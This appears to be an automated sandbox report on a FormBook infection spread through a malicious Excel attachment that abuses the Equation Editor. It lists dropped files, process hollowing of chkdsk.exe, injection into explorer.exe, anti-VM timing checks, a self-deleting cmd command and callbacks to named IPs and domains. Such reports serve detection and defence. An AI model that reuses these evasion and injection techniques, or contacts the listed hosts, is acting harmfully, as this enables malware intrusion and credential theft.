Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{1F486A52-3CB1-48FD-8F50-B8DC300D9F9D}\InProcServer32

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVR8CB4.tmp

Jump to behavior

Source: C:\Users\user\AppData\Roaming\word.exe

Code function: 5_2_00402053 CoCreateInstance,MultiByteToWideChar,

5_2_00402053

Source: C:\Users\user\AppData\Roaming\word.exe

Code function: 5_2_00404292 GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

5_2_00404292

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: RFQ-T56797W_1.xlsx

Static file information: File size 1228030 > 1048576

Source:	Binary string: chkdsk.pdb source: oktuxvhtsq.exe, 00000007.00000002.420661230.0000000000240000.00000040.10000000.00040000.00000000.sdmp, oktuxvhtsq.exe, 00000007.00000002.420667702.0000000000274000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.849693334.00000000005E0000.00000040.80000000.00040000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: oktuxvhtsq.exe, oktuxvhtsq.exe, 00000007.00000003.411866541.0000000000430000.00000004.00000020.00020000.00000000.sdmp, oktuxvhtsq.exe, 00000007.00000002.420725396.00000000008A0000.00000040.00001000.00020000.00000000.sdmp, oktuxvhtsq.exe, 00000007.00000003.412146879.0000000000590000.00000004.00000020.00020000.00000000.sdmp, oktuxvhtsq.exe, 00000007.00000002.420725396.0000000000720000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, chkdsk.exe, 0000000A.00000003.420901641.0000000001D10000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.849798315.0000000002000000.00000040.00001000.00020000.00000000.sdmp, chkdsk.exe, 0000000A.00000003.421285502.0000000001E70000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.849798315.0000000002180000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\xampp\htdocs\d97f8e9e1ea74988993ee47b9f946ba8\Loader\Release\Loader.pdb source: word.exe, 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.415689010.0000000002390000.00000004.00000020.00020000.00000000.sdmp, oktuxvhtsq.exe, 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmp, oktuxvhtsq.exe, 00000006.00000000.410185124.000000000042E000.00000002.00000001.01000000.00000006.sdmp, oktuxvhtsq.exe, 00000007.00000000.411311230.000000000042E000.00000002.00000001.01000000.00000006.sdmp, explorer.exe, 00000008.00000002.851097210.000000000870F000.00000004.80000000.00040000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.849622577.00000000003A3000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.850024421.00000000024FF000.00000004.10000000.00040000.00000000.sdmp, oktuxvhtsq.exe.5.dr
Source:	Binary string: D:\xampp\htdocs\d97f8e9e1ea74988993ee47b9f946ba8\Loader\Release\Loader.pdb& source: word.exe, 00000005.00000002.415627380.000000000040B000.00000004.00000001.01000000.00000004.sdmp, word.exe, 00000005.00000002.415689010.0000000002390000.00000004.00000020.00020000.00000000.sdmp, oktuxvhtsq.exe, 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmp, oktuxvhtsq.exe, 00000006.00000000.410185124.000000000042E000.00000002.00000001.01000000.00000006.sdmp, oktuxvhtsq.exe, 00000007.00000000.411311230.000000000042E000.00000002.00000001.01000000.00000006.sdmp, explorer.exe, 00000008.00000002.851097210.000000000870F000.00000004.80000000.00040000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.849622577.00000000003A3000.00000004.00000020.00020000.00000000.sdmp, chkdsk.exe, 0000000A.00000002.850024421.00000000024FF000.00000004.10000000.00040000.00000000.sdmp, oktuxvhtsq.exe.5.dr

Source: RFQ-T56797W_1.xlsx

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Unpacked PE file: 7.2.oktuxvhtsq.exe.400000.2.unpack .text:ER;.rdata:R;.data:W;.gfids:R;.tls:W; vs .text:ER;

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_004102F6 push ecx; ret	6_2_00410309
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_0040FD0A push ecx; ret	6_2_0040FD1D
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041E211 push cs; iretd	7_2_0041E213
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041D475 push eax; ret	7_2_0041D4C8
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041D4C2 push eax; ret	7_2_0041D4C8
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041D4CB push eax; ret	7_2_0041D532
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0041D52C push eax; ret	7_2_0041D532
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00418689 pushad ; iretd	7_2_0041868A
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_0073DFA1 push ecx; ret	7_2_0073DFB4
Source: C:\Windows\explorer.exe	Code function: 8_2_07D89B1E push esp; retn 0000h	8_2_07D89B1F
Source: C:\Windows\explorer.exe	Code function: 8_2_07D89B02 push esp; retn 0000h	8_2_07D89B03
Source: C:\Windows\explorer.exe	Code function: 8_2_07D899B5 push esp; retn 0000h	8_2_07D89AE7
Source: C:\Windows\explorer.exe	Code function: 8_2_08082B02 push esp; retn 0000h	8_2_08082B03
Source: C:\Windows\explorer.exe	Code function: 8_2_08082B1E push esp; retn 0000h	8_2_08082B1F
Source: C:\Windows\explorer.exe	Code function: 8_2_080829B5 push esp; retn 0000h	8_2_08082AE7
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_0201DFA1 push ecx; ret	10_2_0201DFB4
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DE211 push cs; iretd	10_2_000DE213
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DD475 push eax; ret	10_2_000DD4C8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DD4CB push eax; ret	10_2_000DD532
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DD4C2 push eax; ret	10_2_000DD4C8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000DD52C push eax; ret	10_2_000DD532
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_000D8689 pushad ; iretd	10_2_000D868A

Source: C:\Users\user\AppData\Roaming\word.exe	File created: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\jakatrol2.1[1].exe	Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Roaming\word.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: USER32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x86 0x6E 0xE8

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Code function: 6_2_0040F085 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

6_2_0040F085

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	RDTSC instruction interceptor: First address: 0000000000409904 second address: 000000000040990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	RDTSC instruction interceptor: First address: 0000000000409B6E second address: 0000000000409B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\chkdsk.exe	RDTSC instruction interceptor: First address: 00000000000C9904 second address: 00000000000C990A instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\chkdsk.exe	RDTSC instruction interceptor: First address: 00000000000C9B6E second address: 00000000000C9B74 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_2-178
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_6-22967

Source: C:\Windows\explorer.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_8-13950

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 1712	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1344	Thread sleep count: 70 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2696	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1340	Thread sleep time: -480000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe TID: 1488	Thread sleep count: 441 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe TID: 1488	Thread sleep time: -882000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe TID: 1488	Thread sleep count: 9529 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe TID: 1488	Thread sleep time: -19058000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\chkdsk.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\chkdsk.exe	Last function: Thread delayed

Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 1511	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Window / User API: threadDelayed 441	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Window / User API: threadDelayed 9529	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Code function: 7_2_00409AA0 rdtsc

7_2_00409AA0

Source: C:\Users\user\AppData\Roaming\word.exe

API call chain: ExitProcess graph end node

graph_5-3463

Source: explorer.exe, 00000008.00000002.849552627.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}7
Source: explorer.exe, 00000008.00000000.413347575.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000008.00000002.850269711.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: explorer.exe, 00000008.00000000.413347575.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}eeab7790
Source: explorer.exe, 00000008.00000002.849943461.00000000025E0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0a
Source: explorer.exe, 00000008.00000000.413347575.0000000003E59000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}100\4&20

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Code function: 6_2_002407DA GetSystemInfo,

6_2_002407DA

Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_00405E93 FindFirstFileA,FindClose,	5_2_00405E93
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_004054BD DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,DeleteFileA,FindNextFileA,FindClose,RemoveDirectoryA,	5_2_004054BD
Source: C:\Users\user\AppData\Roaming\word.exe	Code function: 5_2_00402671 FindFirstFileA,	5_2_00402671
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_004016D0 FindFirstFileW,FindNextFileW,FindClose,	6_2_004016D0
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_0042478A FindFirstFileExW,	6_2_0042478A

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_036BBABB mov edx, dword ptr fs:[00000030h]	2_2_036BBABB
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_0024005F mov eax, dword ptr fs:[00000030h]	6_2_0024005F
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_0024013E mov eax, dword ptr fs:[00000030h]	6_2_0024013E
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_00240109 mov eax, dword ptr fs:[00000030h]	6_2_00240109
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_0024017B mov eax, dword ptr fs:[00000030h]	6_2_0024017B
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007200EA mov eax, dword ptr fs:[00000030h]	7_2_007200EA
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_00720080 mov ecx, dword ptr fs:[00000030h]	7_2_00720080
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 7_2_007426F8 mov eax, dword ptr fs:[00000030h]	7_2_007426F8
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_02000080 mov ecx, dword ptr fs:[00000030h]	10_2_02000080
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020000EA mov eax, dword ptr fs:[00000030h]	10_2_020000EA
Source: C:\Windows\SysWOW64\chkdsk.exe	Code function: 10_2_020226F8 mov eax, dword ptr fs:[00000030h]	10_2_020226F8

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Code function: 6_2_004100BC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

6_2_004100BC

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Code function: 6_2_0042194B GetProcessHeap,

6_2_0042194B

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Code function: 7_2_00409AA0 rdtsc

7_2_00409AA0

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Code function: 7_2_0040ACE0 LdrLoadDll,

7_2_0040ACE0

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_0041024E SetUnhandledExceptionFilter,	6_2_0041024E
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_004100BC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_004100BC
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_0041046C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_0041046C
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: 6_2_00414847 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00414847

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 103.224.212.212 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 206.188.193.211 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.credit-cards-16215.bond
Source: C:\Windows\explorer.exe	Domain query: www.luxpsy.com
Source: C:\Windows\explorer.exe	Domain query: www.centralngs.com
Source: C:\Windows\explorer.exe	Domain query: www.west-paws.com
Source: C:\Windows\explorer.exe	Domain query: www.miamirealestatecommercial.com
Source: C:\Windows\explorer.exe	Network Connect: 91.195.240.19 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.sxchenggu.com
Source: C:\Windows\explorer.exe	Network Connect: 38.11.36.68 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.narrativepages.com
Source: C:\Windows\explorer.exe	Domain query: www.pj69vip12.cyou
Source: C:\Windows\explorer.exe	Network Connect: 34.149.87.45 80	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 3.33.130.190 80	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Section loaded: unknown target: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Section loaded: unknown target: C:\Windows\SysWOW64\chkdsk.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Section loaded: unknown target: C:\Windows\SysWOW64\chkdsk.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Section unmapped: C:\Windows\SysWOW64\chkdsk.exe base address: 5E0000

Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Thread register set: target process: 1244			Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Thread register set: target process: 1244			Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\user\AppData\Roaming\word.exe C:\Users\user\AppData\Roaming\word.exe	Jump to behavior
Source: C:\Users\user\AppData\Roaming\word.exe	Process created: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe "C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Process created: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Jump to behavior
Source: C:\Windows\SysWOW64\chkdsk.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe"	Jump to behavior

Source: explorer.exe, 00000008.00000000.412690106.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000008.00000002.849552627.00000000001D6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman-
Source: explorer.exe, 00000008.00000000.412885208.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000002.849683256.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000008.00000000.412885208.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000002.849683256.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000008.00000000.412885208.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000008.00000002.849683256.0000000000720000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: !Progman

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	6_2_004270EB
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: EnumSystemLocalesW,	6_2_004273E2
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: EnumSystemLocalesW,	6_2_00427397
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: EnumSystemLocalesW,	6_2_0042747D
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: GetLocaleInfoW,	6_2_0041E421
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	6_2_00427508
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: GetLocaleInfoW,	6_2_0042775B
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	6_2_00427884
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: GetLocaleInfoW,	6_2_0042798A
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	6_2_00427A60
Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe	Code function: EnumSystemLocalesW,	6_2_0041DF33

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Code function: 6_2_0040FF08 cpuid

6_2_0040FF08

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe

Code function: 6_2_0041030B GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

6_2_0041030B

Source: C:\Users\user\AppData\Roaming\word.exe

5_2_004030FB

Stealing of Sensitive Information

Yara detected NSISDropper

Source: Yara match	File source: 00000006.00000002.411940280.0000000000240000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmp, type: MEMORY

Yara detected FormBook

Source: Yara match	File source: 7.2.oktuxvhtsq.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.oktuxvhtsq.exe.260000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.oktuxvhtsq.exe.260000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.oktuxvhtsq.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected NSISDropper

